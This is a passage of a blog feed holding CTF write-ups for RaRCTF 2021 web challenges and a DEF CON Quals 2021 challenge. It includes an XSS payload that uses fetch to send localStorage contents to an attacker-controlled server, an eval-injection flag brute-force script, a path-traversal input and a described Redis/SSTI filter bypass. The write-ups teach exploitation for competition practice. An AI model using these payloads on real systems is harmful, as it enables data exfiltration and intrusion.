</span></span><span style="display:flex;"><span>                     [request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;key&#34;</span>)],
</span></span><span style="display:flex;"><span>                     <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1000</span>,
</span></span><span style="display:flex;"><span>                     copy<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>, replace<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span></code></pre></div><p>And we can provide as a port argument the value 6379 to tell the Redis-cli server that the provided &ldquo;host&rdquo; argument should have their value changed to the &ldquo;key&rdquo; argument. Here, you would then be able to set a user&rsquo;s port as some arbitrary value that you can control, such as &ldquo;../bio&rdquo;. Get 2 users, perform a key transfer to the Redis-server to change one user&rsquo;s port to &ldquo;../bio&rdquo;, and then perform another key transfer to give a &ldquo;key&rdquo; called &ldquo;bio&rdquo; with the value being your SSTI payload, to the original user. The result after all these Redis manipulations should be the execution of your SSTI payload that would have completely avoided the filtering.</p>
<p>You could, additionally, use your previous payload from MAAS 1 and take advantage of the challenge&rsquo;s improper network isolation issues to make internal calls to the MAAS 2 notes API. This was possible due to the fact that MAAS 1-3 were 3 different, linked docker containers that (unintended by the dev) could be interacted with from between docker containers. This &ldquo;sharing&rdquo; feature allowed you to reuse an attack vector in one challenge to request for resources from another challenge, like their flag. This could be done for any of the MAAS challenges. Interesting stuff!</p>
<hr>
<p>RaRCTF was a good CTF, and given how it appears to be team WinRaR&rsquo;s first CTF, I&rsquo;m thoroughly impressed by the quality of the challenges.</p>
<p><strong>Vie</strong></p>
]]></content>
        </item>
        
        <item>
            <title>RaRCTF2021: Some simpler web probz</title>
            <link>https://jamvie.net/posts/2021/08/rarctf2021-some-simpler-web-probz/</link>
            <pubDate>Mon, 09 Aug 2021 13:49:21 -0700</pubDate>
            
            <guid>https://jamvie.net/posts/2021/08/rarctf2021-some-simpler-web-probz/</guid>
            <description>Fancy Button Generator // FBG A simple xss challenge with the slightest of twists: instead of stealing admin cookies, you&amp;rsquo;re stealing admin&amp;rsquo;s localstorage values. This was possible because the admin, which was a puppetteer chrome browser, was operating in no-sandbox mode.
Insert as your payload:
title: eh link: javascript:fetch(&amp;#39;your.server?fleg=&amp;#39;%2B(window.localStorage.getItem(&amp;#34;flag&amp;#34;))); And report to admin. Careful with the wait times&amp;hellip;
NOTE: I first-blooded this challenge before certain measures were implemented. There were some issues with FBG throughout the competition that involved the organizers making amendments and introducing a pow to help with the stability of the infrastructure.</description>
            <content type="html"><![CDATA[<h2 id="fancy-button-generator--fbg">Fancy Button Generator // FBG</h2>
<p>A simple xss challenge with the slightest of twists: instead of stealing admin cookies, you&rsquo;re stealing admin&rsquo;s localstorage values. This was possible because the admin, which was a puppetteer chrome browser, was operating in no-sandbox mode.</p>
<p>Insert as your payload:</p>
<pre tabindex="0"><code>title: eh
link: javascript:fetch(&#39;your.server?fleg=&#39;%2B(window.localStorage.getItem(&#34;flag&#34;)));
</code></pre><p>And report to admin. Careful with the wait times&hellip;</p>
<p>NOTE: I first-blooded this challenge before certain measures were implemented. There were some issues with FBG throughout the competition that involved the organizers making amendments and introducing a pow to help with the stability of the infrastructure. I&rsquo;m not aware of how the solution would have looked with the accompanying pow, unfortunately.</p>
<p>flag: <code>rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}</code></p>
<h2 id="secure-uploader">Secure Uploader</h2>
<p>In the provided source, observe this piece of code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#a6e22e">@app</span><span style="color:#f92672">.</span>route(<span style="color:#e6db74">&#39;/file/&lt;id&gt;&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">file</span>(id):
</span></span><span style="display:flex;"><span>    conn <span style="color:#f92672">=</span> db()
</span></span><span style="display:flex;"><span>    cur <span style="color:#f92672">=</span> conn<span style="color:#f92672">.</span>cursor()
</span></span><span style="display:flex;"><span>    cur<span style="color:#f92672">.</span>execute(<span style="color:#e6db74">&#34;select path from files where id=?&#34;</span>, (id,))
</span></span><span style="display:flex;"><span>    res <span style="color:#f92672">=</span> cur<span style="color:#f92672">.</span>fetchone()
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> res <span style="color:#f92672">is</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;File not found&#34;</span>, <span style="color:#ae81ff">404</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">with</span> open(os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>join(<span style="color:#e6db74">&#34;uploads/&#34;</span>, res[<span style="color:#ae81ff">0</span>]), <span style="color:#e6db74">&#34;r&#34;</span>) <span style="color:#66d9ef">as</span> f:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> (os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>join(<span style="color:#e6db74">&#34;uploads/&#34;</span>, res[<span style="color:#ae81ff">0</span>]))
</span></span></code></pre></div><p>python&rsquo;s <code>os.path.join</code> is a unique thing: its purpose is to concat the provided parameters, appending one after the other with a <code>/</code> character in between. As an example, <code>os.path.join('foo','bar')</code> would produce <code>foo/bar</code>. However, specify an absolute filepath as a parameter, and everything before that string will be erased. So, <code>os.path.join('foo', '/bar')</code> would produce just <code>/bar</code>. We can use this knowledge to provide to the challenge a filename such as <code>//flag</code> which will resolve to retrieve the flag kept in the root directory of the docker container hosting the challenge.</p>
<p>flag: <code>rarctf{4lw4y5_r34d_th3_d0c5_pr0p3rly!-71ed16}</code></p>
<h2 id="maas-1--calculator">MAAS 1 // Calculator</h2>
<p>The first part of &ldquo;Microservices as a Service&rdquo; was a challenge that involved improper use of the python function <code>eval()</code>. For those unaware, <code>eval()</code> takes as a parameter a string representing code. For example, <code>eval('print(&quot;hello&quot;)')</code> would return <code>hello</code> in your console. Obviously, not a very <em>safe</em> function to use.</p>
<p>In the provided source, we see some very interesting code in <code>arithmetic/app.py</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#a6e22e">@app</span><span style="color:#f92672">.</span>route(<span style="color:#e6db74">&#39;/arithmetic&#39;</span>, methods<span style="color:#f92672">=</span>[<span style="color:#e6db74">&#34;POST&#34;</span>])
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">arithmetic</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;add&#39;</span>):
</span></span><span style="display:flex;"><span>        r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;http://arithmetic:3000/add?n1=</span><span style="color:#e6db74">{</span>request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;n1&#34;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">&amp;n2=</span><span style="color:#e6db74">{</span>request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;n2&#34;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;sub&#39;</span>):
</span></span><span style="display:flex;"><span>        r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;http://arithmetic:3000/sub?n1=</span><span style="color:#e6db74">{</span>request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;n1&#34;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">&amp;n2=</span><span style="color:#e6db74">{</span>request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;n2&#34;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;div&#39;</span>):
</span></span><span style="display:flex;"><span>        r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;http://arithmetic:3000/div?n1=</span><span style="color:#e6db74">{</span>request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;n1&#34;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">&amp;n2=</span><span style="color:#e6db74">{</span>request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;n2&#34;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;mul&#39;</span>):
</span></span><span style="display:flex;"><span>        r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;http://arithmetic:3000/mul?n1=</span><span style="color:#e6db74">{</span>request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;n1&#34;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">&amp;n2=</span><span style="color:#e6db74">{</span>request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;n2&#34;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>    result <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>json()
</span></span><span style="display:flex;"><span>    print(result)
</span></span><span style="display:flex;"><span>    res <span style="color:#f92672">=</span> result<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;result&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> res:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> str(result<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;error&#39;</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        res_type <span style="color:#f92672">=</span> type(eval(res))
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> res_type <span style="color:#f92672">is</span> int <span style="color:#f92672">or</span> res_type <span style="color:#f92672">is</span> float:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> str(res)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;Result is not a number&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">NameError</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;Result is invalid&#34;</span>
</span></span></code></pre></div><p>This would run when you perform any arithmetic action using the calculator in the website. When using the calculator, if you try to do an addition formula like &ldquo;1+1&rdquo;, the returned result isn&rsquo;t 2, but &ldquo;11&rdquo;. Why is that?</p>
<p>The program passes your code into <code>eval()</code> (in the <code>try</code> statement), but the result of that <code>eval()</code> isn&rsquo;t returned anywhere. If the eval&rsquo;d result was an integer, then the <em>string</em> that was passed as a parameter to <code>eval()</code> would be returned, hence why &ldquo;11&rdquo; is returned as the result of &ldquo;1+1&rdquo;. However, <code>eval()</code> is called nonetheless, and we can use this to our advantage.</p>
<p>First and foremost, if the result of the eval was a number (int or float), then the string is returned. Else, &ldquo;Result is not a number&rdquo; or &ldquo;Result is invalid&rdquo; is returned. We could use this as a boolean condition with the following string:</p>
<pre tabindex="0"><code>eval(&#34;1 if (open(&#39;../flag.txt&#39;,&#39;r&#39;).read(-1).startswith(&#39;rarctf{&#39;)) else &#39;false&#39;&#34;)
</code></pre><p>We can instead put this as our &ldquo;arithmetic&rdquo; equation. Since the POST request made to the endpoint requires 2 params to be operated on, &ldquo;n1&rdquo; and &ldquo;n2&rdquo;, split this statement into 2 arbitrary halves and put 1 half into the &ldquo;n1&rdquo; param, and the other into the &ldquo;n2&rdquo; param.</p>
<p>What this does is it calls <code>eval()</code> once more, but in this 2nd call we have more freedom to stipulate what can be evaluated. The param to the inner <code>eval()</code> is just an if statement that returns the integer <code>1</code> if <code>(open('../flag.txt','r').read(-1).startswith('rarctf{'))</code> returns the boolean value true, or returns the string <code>'false'</code> if the statement returns the boolean value false.</p>
<p>Therefore, if the contents of <code>flag.txt</code> start with the prefix &ldquo;rarctf{&rdquo;, then the <code>eval()</code> functions will return 1, and the maas program would return the whole string as a result. If it doesn&rsquo;t start with that prefix, then the <code>eval()</code> functions would return the string &lsquo;false&rsquo; and the if statement that checks the <code>res_type</code> would not return our string. From here, we can just continue to add characters to the prefix to brute-force the value of the flag that way: if we get back our string, then the character we guessed is in the flag. If we get back either &ldquo;Result is not a number&rdquo; or &ldquo;Result is invalid&rdquo; (or just if the response text has the keyword &ldquo;Result&rdquo;), then the character we guessed is not in the flag.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>url <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;https://maas.rars.win/calculator&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alphabet <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;abcdefghijklmnopqrstuvwxyz1234567890_-</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>prefix <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;rarctf{&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#I just chose 40 arbitrarily. If the flag was longer, I would have increased the range.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> index <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">40</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> c <span style="color:#f92672">in</span> alphabet:
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># It uses the python builtin function open to retrieve the contents of /flag.txt, then reads it</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># if the contents of said flag.txt contain the prefix (and we add the current character after the prefix), it returns true</span>
</span></span><span style="display:flex;"><span>        req <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;eval(</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">1 if (open(&#39;../flag.txt&#39;,&#39;r&#39;).read(-1).startswith(&#39;&#34;</span> <span style="color:#f92672">+</span> prefix <span style="color:#f92672">+</span> c <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;&#39;)) else &#39;false&#39;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># I split the string between the n1 and n2 params arbitrarily. It doesnt matter how you split them.</span>
</span></span><span style="display:flex;"><span>        data <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;mode&#34;</span>: <span style="color:#e6db74">&#34;arithmetic&#34;</span>, <span style="color:#e6db74">&#34;n1&#34;</span>: req, <span style="color:#e6db74">&#34;add&#34;</span>: <span style="color:#e6db74">&#34;+&#34;</span>, <span style="color:#e6db74">&#34;n2&#34;</span>: <span style="color:#e6db74">&#34;)&#34;</span>}
</span></span><span style="display:flex;"><span>        resp <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>post(url, data)
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># If we dont find the word &#34;Result&#34; in the response to our request above, then that means the character we guessed is in the flag!</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (resp<span style="color:#f92672">.</span>text<span style="color:#f92672">.</span>find(<span style="color:#e6db74">&#34;Result&#34;</span>) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>) <span style="color:#f92672">and</span> (resp<span style="color:#f92672">.</span>status_code <span style="color:#f92672">!=</span> <span style="color:#ae81ff">500</span>):
</span></span><span style="display:flex;"><span>            <span style="color:#75715e"># Add the correctly guessed character to the string amd move on to the next char</span>
</span></span><span style="display:flex;"><span>            prefix <span style="color:#f92672">+=</span> c
</span></span><span style="display:flex;"><span>            print(prefix)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">continue</span>
</span></span></code></pre></div><p>flag: <code>rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}</code></p>
<p><a href="/posts/2021/08/rarctf-2021-maas-2-unintended-solutions/">Part 2!</a></p>
<p><strong>Vie</strong></p>
]]></content>
        </item>
        
        <item>
            <title>DEF CON Quals 2021: Getting Gud &#43; threefactooorx</title>
            <link>https://jamvie.net/posts/2021/04/def-con-quals-2021-getting-gud--threefactooorx/</link>
            <pubDate>Sun, 11 Apr 2021 00:07:54 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2021/04/def-con-quals-2021-getting-gud--threefactooorx/</guid>
            <description>AKA - How I spent some time reading custom partially-deobfuscated javascript code and actually used the Chrome debugger for once
DEF CON - undoubtedly the most notorious, famous and recgonized CTF out there. Even people who don&amp;rsquo;t do hacking know about DEF CON. The qualifiers, an event that took place this last weekend, ran for roughly 2 days and had 1 web challenge - which was more like reversing, but I&amp;rsquo;ll take what I can get.</description>
            <content type="html"><![CDATA[<p><strong>AKA - How I spent some time reading custom partially-deobfuscated javascript code and actually used the Chrome debugger for once</strong></p>
<p>DEF CON - undoubtedly the most notorious, famous and recgonized CTF out there. Even people who don&rsquo;t do hacking know about DEF CON. The qualifiers, an event that took place this last weekend, ran for roughly 2 days and had <strong>1</strong> web challenge - which was more like reversing, but I&rsquo;ll take what I can get.</p>
<h2 id="def-con-from-someone-who-thinks-shes-wildly-out-of-her-depth">DEF CON, from someone who thinks she&rsquo;s wildly out of her depth</h2>
<p>Anyone who is anybody in the hacker space knows about DEF CON. It is <em>the</em> top CTF to really form a reputation out of. If you won DEF CON, you&rsquo;ve found yourself at the top, to say the least. DEF CON has been an established security conference and CTF for years, long before I ever joined the scene. If you ever took a look at my FAQ, you&rsquo;ll know that being a part of DEF CON in any capacity was a lofty goal of mine. I may like CTFs, but to be on the level where I&rsquo;m up against other top teams in the DEF CON leaderboard is truly a mark of recognition I would have to earn.</p>
<p>I still have a long way to go, but I am glad that my team and I worked hard to land among the top 25 of DEF CON Qualifiers 2021 edition. This is big for us, given how we are still a recently new team (We only started in Feb of 2019), and we were the only Canadian team to land that good this year. Hopefully, next year, we can work harder to beat our own score! Maybe until then I&rsquo;ll brush up on my reversing skills so I don&rsquo;t do nothing for the first day :P</p>
<p>Landing a respectable position among the top 25 teams in DEF CON Quals is still a fact I&rsquo;m absorbing and attempting to process. I know my team, and I know my team members all work hard and push against their limits to learn and grow. I&rsquo;m extremely proud of each and every one of them, and certainly, I&rsquo;m happy at myself for even solving a DEF CON challenge in the first place.</p>
<p>I&rsquo;d like to think that as I progress in the CTF world, every little victory will be celebrated and recognized. At this same time one year ago, I was thinking to myself how much I needed to do to catch up to both my teammates, and to others in the CTF world who seemed to be a on a level beyond me. I still have quite a bit of climbing to do, but allow me a minute to indulge myself and be proud of what I was able to learn in a short period of time.</p>
<h2 id="threefactooorx">Threefactooorx</h2>

    <img src="/images/DEFCONQUALS2021-meme.jpeg"  alt="webgang is sad"  class="center"  style="border-radius: 8px;"  />


<p><em>pic from <a href="https://twitter.com/oooverflow/status/1388764308838912000?s=20">ooo on twitter</a></em></p>
<p>The challenge, threefactooorx involved de-obfuscating some horrid js file and then satisfying the checks that it went through, to grab the flag. Specifically, you had to create an html file that checked all the boxes, and give that html file to an admin entity - who likely has the same extension - and they would send back a screenshot of what the html file looked like, loaded on their end.</p>
<p>Funnily enough, this also seemed like a perfect challenge to practise chrome ndays, but despite thinking about it I didn&rsquo;t end up doing that - <a href="https://twitter.com/r4j0x00/status/1389064716723519489?s=20">but you could totally do it, if you wanted to</a>.</p>

    <img src="/images/DEFCONQUALS2021-chromenday.png"  alt="satisfies all checks"  class="center"  style="border-radius: 8px;"  />


<p>Source was provided - it was actually a chrome extension you could load into your browser. Like mentioned earlier, the <code>content_script.js</code> was a giant, obfuscated-to-hell JavaScript file that&hellip; did stuff.</p>
<p>Well, specifically, it performed some checks that, after trying it out with opening html files locally, would run on each load if it was enabled. Again, the file was obfuscated, but the very last line of the script was interesting.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>    <span style="color:#a6e22e">nodesadded</span> <span style="color:#f92672">==</span> 
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x1</span> <span style="color:#f92672">*</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">0x27a</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">0x3</span> <span style="color:#f92672">*</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">0x3f8</span> <span style="color:#f92672">+</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">0x4cd</span> <span style="color:#f92672">*</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">0x3</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">_0x10b2d5</span>[<span style="color:#a6e22e">_0x39523f</span>(<span style="color:#f92672">-</span><span style="color:#ae81ff">0x157</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x1ae</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x17e</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x1c2</span>)](<span style="color:#a6e22e">nodesdeleted</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x1b66</span> <span style="color:#f92672">+</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">0x14e</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">0x8</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">0x25d9</span>) <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">attrcharsadded</span> <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">0x2001</span> <span style="color:#f92672">+</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">0x2</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">0x433</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">0x49</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">0x8e</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">_0x10b2d5</span>[<span style="color:#e6db74">&#39;DvvtZ&#39;</span>](<span style="color:#a6e22e">domvalue</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0xed7</span> <span style="color:#f92672">*</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">0x1</span> <span style="color:#f92672">+</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">0x18f0</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">0x12a5</span>) <span style="color:#f92672">&amp;&amp;</span> (document[<span style="color:#e6db74">&#39;getElement&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">_0x39523f</span>(<span style="color:#f92672">-</span><span style="color:#ae81ff">0xf2</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x127</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x132</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x153</span>)](<span style="color:#a6e22e">_0x5773c7</span>(<span style="color:#f92672">-</span><span style="color:#ae81ff">0x141</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x1ab</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x16f</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x192</span>) <span style="color:#f92672">+</span> <span style="color:#a6e22e">_0x5773c7</span>(<span style="color:#f92672">-</span><span style="color:#ae81ff">0x131</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x15d</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x10d</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0xc2</span>))[<span style="color:#e6db74">&#39;value&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">_0x336e82</span>[<span style="color:#a6e22e">_0x5773c7</span>(<span style="color:#f92672">-</span><span style="color:#ae81ff">0xe7</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0xda</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x11f</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0x111</span>)]);
</span></span></code></pre></div><p>What are these local variables? What do they hold?</p>
<p>Now we turn to actually de-obfuscating the damn thing. There was a function, <code>OOO_0x1e05</code>, that we could see throughout the entirety of <code>content_script.js</code>. From the looks of it, it seemed as though <code>OOO_0x1e05</code> was a custom de-obfuscator that the challenge was using. Based on this, we could regex match and replace many of the complex bits and pieces into readable strings, to make the js somewhat more easy on the eyes. Robert Xiao did the regex matching, and the previous snippet of code above now looks like:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">_0x10b2d5</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">_0x5ebd2a</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">_0xd26915</span> <span style="color:#f92672">=</span> {};
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">_0xd26915</span>[<span style="color:#e6db74">&#39;getflag&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">_0x10b2d5</span>[<span style="color:#e6db74">&#39;xOsuT&#39;</span>], <span style="color:#a6e22e">chrome</span>[<span style="color:#e6db74">&#39;runtime&#39;</span>][<span style="color:#e6db74">&#39;sendMessag&#39;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;e&#39;</span>](<span style="color:#a6e22e">_0xd26915</span>, <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">_0x336e82</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">FLAG</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">_0x336e82</span>[<span style="color:#e6db74">&#39;flag&#39;</span>], <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">_0x10b2d5</span>[<span style="color:#e6db74">&#39;KShsG&#39;</span>](<span style="color:#a6e22e">_0x10b2d5</span>[<span style="color:#e6db74">&#39;bppSB&#39;</span>], <span style="color:#a6e22e">_0x336e82</span>[<span style="color:#e6db74">&#39;flag&#39;</span>]));
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">nodesadded</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">_0x10b2d5</span>[<span style="color:#e6db74">&#39;yRdwv&#39;</span>](<span style="color:#a6e22e">nodesdeleted</span>, <span style="color:#ae81ff">3</span>) <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">attrcharsadded</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">23</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">_0x10b2d5</span>.<span style="color:#a6e22e">DvvtZ</span>(<span style="color:#a6e22e">domvalue</span>, <span style="color:#ae81ff">2188</span>) <span style="color:#f92672">&amp;&amp;</span> (document[<span style="color:#e6db74">&#39;getElement&#39;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;ById&#39;</span>](<span style="color:#e6db74">&#39;thirdfacto&#39;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;oor&#39;</span>)[<span style="color:#e6db74">&#39;value&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">_0x336e82</span>[<span style="color:#e6db74">&#39;flag&#39;</span>]);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">_0x369bcb</span> <span style="color:#f92672">=</span> document[<span style="color:#e6db74">&#39;createElem&#39;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;ent&#39;</span>](<span style="color:#a6e22e">_0x10b2d5</span>[<span style="color:#e6db74">&#39;SxgOB&#39;</span>]);
